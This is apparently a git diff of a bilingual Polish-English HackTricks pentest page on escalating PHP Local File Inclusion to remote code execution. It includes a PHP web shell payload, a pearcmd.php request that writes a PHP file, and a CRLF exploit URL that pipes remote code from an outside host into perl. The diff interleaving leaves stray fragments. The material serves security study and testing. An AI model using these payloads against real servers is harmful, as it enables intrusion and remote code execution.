NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Przez php filters (nie jest potrzebny plik)
|
||||
### Przez php filters (bez pliku)
|
||||
|
||||
Ten [**opis**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters, aby wygenerować dowolną zawartość** jako wynik. Co w zasadzie oznacza, że możesz **wygenerować dowolny php code** dla include **bez konieczności zapisywania** go do pliku.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Przez segmentation fault
|
||||
|
||||
Prześlij plik, który zostanie zapisany jako plik tymczasowy w /tmp, następnie w tym samym żądaniu wywołaj segmentation fault — w rezultacie plik tymczasowy nie zostanie usunięty i będziesz mógł go odnaleźć.
|
||||
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Przez Nginx przechowywanie plików tymczasowych
|
||||
### Przez Nginx temp file storage
|
||||
|
||||
Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz być w stanie uzyskać RCE przy użyciu następującej techniki:
|
||||
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Przez PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Jeśli znalazłeś Local File Inclusion nawet jeśli nie masz sesji, a `session.auto_start` jest `Off`. Jeśli dostarczysz `PHP_SESSION_UPLOAD_PROGRESS` w danych multipart POST, PHP włączy sesję za Ciebie. Możesz to nadużyć, aby uzyskać RCE:
|
||||
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Przez wysyłanie plików tymczasowych w Windows
|
||||
### Przez temp file uploads in Windows
|
||||
|
||||
Jeśli znalazłeś Local File Inclusion i serwer działa na **Windows**, możesz uzyskać RCE:
|
||||
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Przez `pearcmd.php` + URL args
|
||||
|
||||
Jak [**wyjaśniono w tym poście**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt /usr/local/lib/phppearcmd.php istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazywanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie zawiera `=`, powinien być użyty jako argument. Zobacz także [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
Następujące żądanie tworzy plik w /tmp/hello.php z zawartością `<?=phpinfo()?>`:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Poniższe wykorzystuje CRLF vuln, aby uzyskać RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Poniższy przykład wykorzystuje vuln CRLF, aby uzyskać RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Przez phpinfo() (file_uploads = on)
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file_uploads = on, możesz uzyskać RCE:
|
||||
Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file_uploads = on możesz uzyskać RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Przez compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i **can exfiltrate the path** pliku tymczasowego, ALE **server** **is checking** czy **file to be included has PHP marks**, możesz spróbować **bypass that check** za pomocą tej **Race Condition**:
|
||||
Jeśli znalazłeś **Local File Inclusion** i możesz exfiltrate the path pliku tymczasowego, ALE **serwer** sprawdza, czy **plik do załączenia ma oznaczenia PHP**, możesz spróbować obejść tę kontrolę przy użyciu tej **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Przez eternal waiting + bruteforce
|
||||
|
||||
Jeśli możesz nadużyć LFI, aby **upload temporary files** i sprawić, że **server** będzie **hang** wykonanie PHP, możesz wtedy **brute force filenames during hours**, aby odnaleźć plik tymczasowy:
|
||||
Jeśli możesz nadużyć LFI, aby upload temporary files i spowodować, że serwer zawiesi wykonanie PHP (hang), możesz następnie brute force nazwy plików przez godziny, aby znaleźć plik tymczasowy:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -657,14 +657,15 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### Do Fatal Error
|
||||
|
||||
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
|
||||
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam 2 time, aby wywołać ten błąd).
|
||||
|
||||
**Nie wiem, jak to może być przydatne, ale może.**\
|
||||
_Nawet jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane._
|
||||
**Nie wiem, jak to jest przydatne, ale może być.**\
|
||||
_Nawet jeśli spowodujesz PHP Fatal Error, PHP temporary files uploaded są usuwane._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
|
||||
## Referencje
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
Loading…
x
Reference in New Issue
Block a user